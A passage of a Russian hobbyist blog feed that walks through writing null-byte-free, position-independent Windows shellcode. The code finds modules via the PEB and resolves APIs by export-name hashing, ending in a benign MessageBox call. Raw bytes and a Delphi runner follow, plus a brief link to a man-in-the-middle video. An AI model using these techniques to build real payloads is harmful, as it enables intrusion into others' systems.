что бы добиться базонезависимости, мы понятно должны отречься от зашитых адресов функций из других систем windows ( потому что даже банальный патч или сервиспак уже может этот адрес изменить,и ясно дело шеллкод не будет работать).должны отречься от использования системных loadlibrary и getprocaddress (хотя они вроде и на древних виндах есть,но имхо это не шеллкод,а хрень получится),в идеале конечно шеллкод не должен содержать нуль-байтов, но это так,нам для наглядности и обычный подойдет.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Примерный алгоритм таков:&lt;/div&gt;
&lt;div&gt;
1)находим т.н. список модулей ininitorder&lt;/div&gt;
&lt;div&gt;
2)получаем указатель на kernel (обычно через PEB)&lt;/div&gt;
&lt;div&gt;
3)находим PE заголовок и таблицу экспорта имен&lt;/div&gt;
&lt;div&gt;
4)прошвыриваемся по таблице,сравнивая 16 битный хеш функции с нужным нам хешем&lt;/div&gt;
&lt;div&gt;
5)нашли хеш-находим адрес&lt;/div&gt;
&lt;div&gt;
6)нашли адрес-передаем параметры,вызываем.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
и так я не мог проверить на древних виндах (если честно лень))))&lt;/div&gt;
&lt;div&gt;
работает на всех паках xp и 7 х86-х64&lt;/div&gt;
&lt;div&gt;
при выполнении выводит пустое окошко messagebox&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
написано на netwide assembler, исполнено на delphi (BASM).&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
приступим:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #0b5394;&quot;&gt;bits 32&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #0b5394;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #0b5394;&quot;&gt;rork equ 1&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #0b5394;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #0b5394;&quot;&gt;xloadlibrary equ 1101010101010b&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #0b5394;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #0b5394;&quot;&gt;xmessagebox equ 1011011000101010b&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
указываем что код 32-битный и указываем сдвиг для хеша, и хеши как вы догадались loadlibrary и messagebox&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #0b5394;&quot;&gt;find_hash:&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #0b5394;&quot;&gt;&amp;nbsp; &amp;nbsp; xor &amp;nbsp; &amp;nbsp; ecx, ecx &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #0b5394;&quot;&gt;&amp;nbsp; &amp;nbsp; mov &amp;nbsp; &amp;nbsp; esi, [fs:ecx + 0x30] &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #0b5394;&quot;&gt;&amp;nbsp; &amp;nbsp; mov &amp;nbsp; &amp;nbsp; esi, [esi + 0x0c] &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #0b5394;&quot;&gt;&amp;nbsp; &amp;nbsp; mov &amp;nbsp; &amp;nbsp; esi, [esi + 0x1c] &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #0b5394;&quot;&gt;next_module:&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #0b5394;&quot;&gt;&amp;nbsp; &amp;nbsp; mov &amp;nbsp; &amp;nbsp; ebp, [esi + 0x08] &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #0b5394;&quot;&gt;&amp;nbsp; &amp;nbsp; mov &amp;nbsp; &amp;nbsp; edi, [esi + 0x20] &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #0b5394;&quot;&gt;&amp;nbsp; &amp;nbsp; mov &amp;nbsp; &amp;nbsp; esi, [esi] &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #0b5394;&quot;&gt;&amp;nbsp; &amp;nbsp; cmp &amp;nbsp; &amp;nbsp; [edi + 12*2], cl&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #0b5394;&quot;&gt;&amp;nbsp; &amp;nbsp; jne &amp;nbsp; &amp;nbsp; next_modul&lt;/span&gt;e&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
находим ininitorder через PEB, получаем baseaddress, module name и проверяем закончились ли модули.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #0b5394;&quot;&gt;xgetprocaddress:&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #0b5394;&quot;&gt;&amp;nbsp; &amp;nbsp; mov &amp;nbsp; &amp;nbsp; ebx, [ebp + 0x3c] &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #0b5394;&quot;&gt;&amp;nbsp; &amp;nbsp; mov &amp;nbsp; &amp;nbsp; ebx, [ebp + ebx + 0x78] &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #0b5394;&quot;&gt;&amp;nbsp; &amp;nbsp; add &amp;nbsp; &amp;nbsp; ebx, ebp &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #0b5394;&quot;&gt;&amp;nbsp; &amp;nbsp; mov &amp;nbsp; &amp;nbsp; ecx, [ebx + 0x18] &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #0b5394;&quot;&gt;&amp;nbsp; &amp;nbsp; jcxz &amp;nbsp; &amp;nbsp;next_module&lt;/span&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
находим заголовок PE и таблицу экспорта,а также число указателей имен ф-й.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
теперь честно спизженная функция поиска по хешу :D&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #0b5394;&quot;&gt;next_function_loop:&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #0b5394;&quot;&gt;&amp;nbsp; &amp;nbsp; mov &amp;nbsp; &amp;nbsp; edi, [ebx + 0x20] &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #0b5394;&quot;&gt;&amp;nbsp; &amp;nbsp; add &amp;nbsp; &amp;nbsp; edi, ebp &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #0b5394;&quot;&gt;&amp;nbsp; &amp;nbsp; mov &amp;nbsp; &amp;nbsp; edi, [edi + ecx * 4 - 4] &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #0b5394;&quot;&gt;&amp;nbsp; &amp;nbsp; add &amp;nbsp; &amp;nbsp; edi, ebp &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #0b5394;&quot;&gt;&amp;nbsp; &amp;nbsp; xor &amp;nbsp; &amp;nbsp; eax, eax &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #0b5394;&quot;&gt;&amp;nbsp; &amp;nbsp; cdq &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #0b5394;&quot;&gt;hash_loop:&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #0b5394;&quot;&gt;&amp;nbsp; &amp;nbsp; xor &amp;nbsp; &amp;nbsp; dl, [edi]&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #0b5394;&quot;&gt;&amp;nbsp; &amp;nbsp; ror &amp;nbsp; &amp;nbsp; dx, byte rork&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #0b5394;&quot;&gt;&amp;nbsp; &amp;nbsp; scasb&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #0b5394;&quot;&gt;&amp;nbsp; &amp;nbsp; jne &amp;nbsp; &amp;nbsp; hash_loop&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #0b5394;&quot;&gt;&amp;nbsp; &amp;nbsp; cmp &amp;nbsp; &amp;nbsp; dx, xmessagebox&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #0b5394;&quot;&gt;&amp;nbsp; &amp;nbsp; je &amp;nbsp; &amp;nbsp; &amp;nbsp;found_messagebox &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #0b5394;&quot;&gt;&amp;nbsp; &amp;nbsp; cmp &amp;nbsp; &amp;nbsp; dx, xloadlibrary&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #0b5394;&quot;&gt;&amp;nbsp; &amp;nbsp; loopne &amp;nbsp;next_function_loop &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #0b5394;&quot;&gt;&amp;nbsp; &amp;nbsp; jne &amp;nbsp; &amp;nbsp; next_module &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #0b5394;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #0b5394;&quot;&gt;found_messagebox:&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #0b5394;&quot;&gt;&amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #0b5394;&quot;&gt;&amp;nbsp; &amp;nbsp; mov &amp;nbsp; &amp;nbsp; edx, [ebx + 0x24] &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #0b5394;&quot;&gt;&amp;nbsp; &amp;nbsp; add &amp;nbsp; &amp;nbsp; edx, ebp &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #0b5394;&quot;&gt;&amp;nbsp; &amp;nbsp; movzx &amp;nbsp; edx, word [edx + 2 * ecx] &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #0b5394;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #0b5394;&quot;&gt;&amp;nbsp; &amp;nbsp; mov &amp;nbsp; &amp;nbsp; edi, [ebx + 0x1c] &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #0b5394;&quot;&gt;&amp;nbsp; &amp;nbsp; add &amp;nbsp; &amp;nbsp; edi, ebp &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #0b5394;&quot;&gt;&amp;nbsp; &amp;nbsp; add &amp;nbsp; &amp;nbsp; ebp, [edi + 4 * edx] &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #0b5394;&quot;&gt;&amp;nbsp; &amp;nbsp; test &amp;nbsp; &amp;nbsp;esi, esi&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #0b5394;&quot;&gt;&amp;nbsp; &amp;nbsp; jz &amp;nbsp; &amp;nbsp; &amp;nbsp;messagebo&lt;/span&gt;x&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
проходимся по модулям по таблицам сравнивая хеши-нашли прыгаем, иначе грузим user32 dll т.к. messagebox содержится там&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #0b5394;&quot;&gt;loadlibrary: &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #0b5394;&quot;&gt;&amp;nbsp; &amp;nbsp; xor ecx, ecx&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #0b5394;&quot;&gt;&amp;nbsp; &amp;nbsp; mov cx, 0x3233 &amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #0b5394;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;push ecx&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #0b5394;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #0b5394;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;push 0x72657375&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt;&lt;span style=&quot;color: #0b5394;&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #0b5394;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;push &amp;nbsp; &amp;nbsp;esp &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #0b5394;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #0b5394;&quot;&gt;&amp;nbsp; &amp;nbsp; call &amp;nbsp; &amp;nbsp;ebp &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #0b5394;&quot;&gt;&amp;nbsp; &amp;nbsp; xchg &amp;nbsp; &amp;nbsp;eax, ebp &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #0b5394;&quot;&gt;&amp;nbsp; &amp;nbsp; xor &amp;nbsp; &amp;nbsp; esi, esi &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #0b5394;&quot;&gt;&amp;nbsp; &amp;nbsp; jmp &amp;nbsp; &amp;nbsp; xgetprocaddress&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
значения,заталкиваемые в стэк, ничто иное как строка в хекс виде.&lt;/div&gt;
&lt;div&gt;
грузим dll- ку. в ebp будет указатель на нее.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
ну осталось только вызвать&lt;/div&gt;
&lt;div&gt;
&amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: #0b5394;&quot;&gt;xor &amp;nbsp; &amp;nbsp; &amp;nbsp;eax, eax&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
&amp;nbsp; &lt;span style=&quot;color: #0b5394;&quot;&gt;&amp;nbsp; push &amp;nbsp; &amp;nbsp;eax &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #0b5394;&quot;&gt;&amp;nbsp; &amp;nbsp; push &amp;nbsp; &amp;nbsp;eax &amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #0b5394;&quot;&gt;&amp;nbsp; &amp;nbsp; push &amp;nbsp; &amp;nbsp;eax &amp;nbsp; &amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #0b5394;&quot;&gt;&amp;nbsp; &amp;nbsp; push &amp;nbsp; &amp;nbsp;eax &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: #0b5394;&quot;&gt;&amp;nbsp; &amp;nbsp; call &amp;nbsp; &amp;nbsp;ebp&lt;/span&gt;&amp;nbsp;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
вызываем как обычную АПИ.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Вот и все, получается такой себе 130 байтовый шеллкодес вызывающий сообщение)&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
проверим его таким методом:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
&lt;span style=&quot;color: purple;&quot;&gt;program Project2;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: purple;&quot;&gt;var&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: purple;&quot;&gt;data: array[0..129] of byte = (&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: purple;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;$31, $C9, $64, $8B, $71, $30, $8B, $76, $0C, $8B, $76, $1C, $8B, $6E, $08, $8B,&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: purple;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;$7E, $20, $8B, $36, $38, $4F, $18, $75, $F3, $8B, $5D, $3C, $8B, $5C, $1D, $78,&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: purple;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;$01, $EB, $8B, $4B, $18, $67, $E3, $E4, $8B, $7B, $20, $01, $EF, $8B, $7C, $8F,&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: purple;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;$FC, $01, $EF, $31, $C0, $99, $32, $17, $66, $C1, $CA, $01, $AE, $75, $F7, $66,&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: purple;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;$81, $FA, $2A, $B6, $74, $09, $66, $81, $FA, $AA, $1A, $E0, $DB, $75, $BD, $8B,&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: purple;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;$53, $24, $01, $EA, $0F, $B7, $14, $4A, $8B, $7B, $1C, $01, $EF, $03, $2C, $97,&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: purple;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;$85, $F6, $74, $14, $31, $C9, $66, $B9, $33, $32, $51, $68, $75, $73, $65, $72,&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: purple;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;$54, $FF, $D5, $95, $31, $F6, $EB, $A1, $6A, $00, $6A, $00, $6A, $00, $6A, $00,&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: purple;&quot;&gt;&lt;span class=&quot;Apple-tab-span&quot; style=&quot;white-space: pre;&quot;&gt; &lt;/span&gt;$FF, $D5&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: purple;&quot;&gt;);&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: purple;&quot;&gt;begin&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: purple;&quot;&gt;asm&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: purple;&quot;&gt;lea eax,data&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: purple;&quot;&gt;call eax&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: purple;&quot;&gt;end;&lt;/span&gt;&lt;/div&gt;
&lt;div&gt;
&lt;span style=&quot;color: purple;&quot;&gt;end.&lt;/span&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
с первой частью покончено. продолжим чуть позже)&lt;br /&gt;
&lt;br /&gt;
upd я немного изменил шеллкод,что бы был без нульбайт.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://bydood.blogspot.com/feeds/8176343180113380635/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://bydood.blogspot.com/2013/05/hell-yeah.html#comment-form' title='Комментарии: 1'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4770217640648717650/posts/default/8176343180113380635'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4770217640648717650/posts/default/8176343180113380635'/><link rel='alternate' type='text/html' href='http://bydood.blogspot.com/2013/05/hell-yeah.html' title='hell yeah!)'/><author><name>DooD</name><uri>http://www.blogger.com/profile/15924482264023722266</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='20' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjLuuG2Je71LnNqR-LrzvojPS25ljvxgbYelR2m2-eXJObjSjMnb-VTl5MJ6jOTJ3tea_dQDDgpqHRstELXE2cPOlAmzVsihMMTARS7iTD4UontXEwNk-6DReyFU6P14Q/s220/15072011561.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4770217640648717650.post-6492003074855219791</id><published>2013-03-17T13:47:00.000+02:00</published><updated>2013-03-17T13:47:59.772+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="Видео"/><title type='text'>man in the middle</title><content type='html'>&lt;div dir=&quot;ltr&quot; style=&quot;text-align: left;&quot; trbidi=&quot;on&quot;&gt;
Забыл я что то кинуть тему по атаке man in the middle с конкурса на ачате.&lt;br /&gt;
смотрите.&lt;br /&gt;
чем дальше займусь хз.есть пара идей.&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;iframe allowfullscreen=&#39;allowfullscreen&#39; webkitallowfullscreen=&#39;webkitallowfullscreen&#39; mozallowfullscreen=&#39;mozallowfullscreen&#39; width=&#39;320&#39; height=&#39;266&#39; src=&#39;https://www.youtube.com/embed/JsjU0sElzmQ?feature=player_embedded&#39; frameborder=&#39;0&#39;&gt;&lt;/iframe&gt;&lt;/div&gt;
&lt;br /&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://bydood.blogspot.com/feeds/6492003074855219791/comments/default' title='Комментарии к сообщению'/><link rel='replies' type='text/html' href='http://bydood.blogspot.com/2013/02/blog-post.html#comment-form' title='Комментарии: 4'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4770217640648717650/posts/default/6492003074855219791'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4770217640648717650/posts/default/6492003074855219791'/><link rel='alternate' type='text/html' href='http://bydood.blogspot.com/2013/02/blog-post.html' title='man in the middle'/><author><name>DooD</name><uri>http://www.blogger.com/profile/15924482264023722266</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='20' height='32' 